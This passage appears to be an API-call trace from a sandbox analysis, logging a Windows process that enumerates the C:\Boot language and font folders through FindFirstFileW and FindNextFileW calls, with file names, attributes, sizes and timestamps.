dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec1f0 [0242.680] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc482dc87, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x6ec1f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12158, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.680] FindClose (in: hFindFile=0x6ec1f0 | out: hFindFile=0x6ec1f0) returned 1 [0242.680] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.680] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="en-US", cAlternateFileName="")) returned 1 [0242.680] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec0b0 [0242.681] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef57d0f5, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef569843, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0x327294d0, ftLastWriteTime.dwHighDateTime=0x1d2a030, nFileSizeHigh=0x0, nFileSizeLow=0x121a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.681] FindClose (in: hFindFile=0x6ec0b0 | out: hFindFile=0x6ec0b0) returned 1 [0242.681] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.681] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-ES", cAlternateFileName="")) returned 1 [0242.681] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.682] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.682] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.682] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.682] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.683] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.683] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.683] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="es-MX", cAlternateFileName="")) returned 1 [0242.683] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.684] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.684] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.684] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.684] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="et-EE", cAlternateFileName="")) returned 1 [0242.684] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebef0 [0242.685] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.685] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.685] FindNextFileW (in: hFindFile=0x6ebef0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0242.685] FindClose (in: hFindFile=0x6ebef0 | out: hFindFile=0x6ebef0) returned 1 [0242.685] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.685] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0242.685] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ec2f0 [0242.686] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.686] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0242.686] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0242.686] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0242.686] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0242.687] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0242.687] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Fonts", cAlternateFileName="")) returned 1 [0242.687] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6ebdf0 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0242.689] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0242.690] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, 